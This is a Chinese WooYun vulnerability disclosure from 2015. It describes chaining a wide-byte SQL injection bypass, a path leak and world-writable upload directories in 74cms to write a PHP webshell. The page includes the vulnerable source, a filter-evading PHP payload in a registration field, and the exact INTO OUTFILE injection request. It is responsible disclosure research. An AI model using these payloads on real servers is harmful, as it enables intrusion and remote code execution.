当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107901

漏洞标题:骑士CMS多漏洞组合前台GETSHELL(官网demo测试)

相关厂商:74c,s.com

漏洞作者: 龟兔赛跑

提交时间:2015-04-15 11:13

修复时间:2015-07-18 16:58

公开时间:2015-07-18 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-19: 厂商已经确认,细节仅向厂商公开
2015-04-22: 细节向第三方安全合作伙伴开放
2015-06-13: 细节向核心白帽子及相关领域专家公开
2015-06-23: 细节向普通白帽子公开
2015-07-03: 细节向实习白帽子公开
2015-07-18: 细节向公众公开

简要描述:

骑士CMS多漏洞组合前台GETSHELL(官网demo测试)
http://demo.74cms.com/

详细说明:

通过SQL注入加上select * from table into outfile "filename"来完成SHELL的写入。
必要条件:
1. SQL注入。
2. Server的文件保存路径。
3. 具有写权限的目录。
4. 还有一个是74cms会过滤‘“字符,我们需要有方法能注入’”来完成写入SHELL的SQL语句。
以下逐条详细说明。
0x01: SQL注入
======================================
我们有现成的,74cms一直忽略不修正的这个: WooYun: 74cms(20141020)全局SQL注入过滤绕过 (74cms全局SQL注入过滤绕过)。我们使用这个URL:

http://demo.74cms.com/plus/ajax_user.php?act=check_usname


0x02: Server的文件保存路径。
======================================
这个URL暴露了server的文件路径:

http://demo.74cms.com/data/filetpl.php


1.png


3. 具有写权限的目录。
======================================
WooYun: 骑士CMS(20141027)多个漏洞组合可致所有数据泄露+getshell 曾经提到过,'data/'目录下很多上传文件的目录创建是0777权限建立的。
注册一个公司用户,长传logo,这是会建立0777权限的目录:'data/logo/2015/04/14',shell就传到这个目录吧。
4. 能带入‘“字符。
======================================
其实这个也很简单,’我们没办法注入。但是74cms提供了带入”的方法。
文件:include/common.fun.php

13  function addslashes_deep($value)
14 {
15 if (empty($value))
16 {
17 return $value;
18 }
19 else
20 {
21 if (!get_magic_quotes_gpc())
22 {
23 $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
24 }
25 else
26 {
27 $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
28 }
29 return $value;
30 }
31 }
32 function mystrip_tags($string)
33 {
34 $string = new_html_special_chars($string);
35 $string = remove_xss($string);
36 return $string;
37 }
38 function new_html_special_chars($string) {
39 $string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string);
40 $string = strip_tags($string);
41 return $string;
42 }


new_html_special_chars()函数做了这个事情:
$string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string);
也就是在POST或者GET的参数中存在&quot;,都会被替换成"。
万事具备只欠东风。。。风儿那个吹阿吹。。。
因为我们使用的是http://demo.74cms.com/plus/ajax_user.php?act=check_usname,这个是查询的用户表,因此我们还需要注册一个用户来带入shell脚本。
注册用户:

2.png


提交注册的时候使用burp拦截一下,我们改一下数据包:

3.png


将payload的email字段改为:

%3c%0b%3fphp+phpinfo()%3b+%3f%0b%3e


WooYun: 骑士CMS全局XSS过滤绕过存储型XSS前台后台指哪打哪 介绍过<%0b...%0b>会被过滤为<...>
提交注册成功之后我们在浏览器里面看看uid:

4.png


注入生成SHELL:

http://demo.74cms.com/plus/ajax_user.php?act=check_usname
POST:
usname=%88%ec%27 or uid=744%20in%0bto%20out%0bfile%20%26quot;D:%0b\web\demo\data\logo\2015\04\14\test.php%26quot;%23


%0b会在全剧过滤的时候删除,所以我们利用这个特性绕过安全狗。执行后生成文件D:\web\demo\data\logo\2015\04\14\test.php
浏览器浏览:
http://demo.74cms.com/data/logo/2015/04/14/test.php

5.png

漏洞证明:

http://demo.74cms.com/data/logo/2015/04/14/test.php

修复方案:

1. utf8_to_gbk转换过的数据去要再次addslashs。
2. 修复http://demo.74cms.com/data/filetpl.php暴露路径的问题

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-19 16:56

厂商回复:

最新状态:

暂无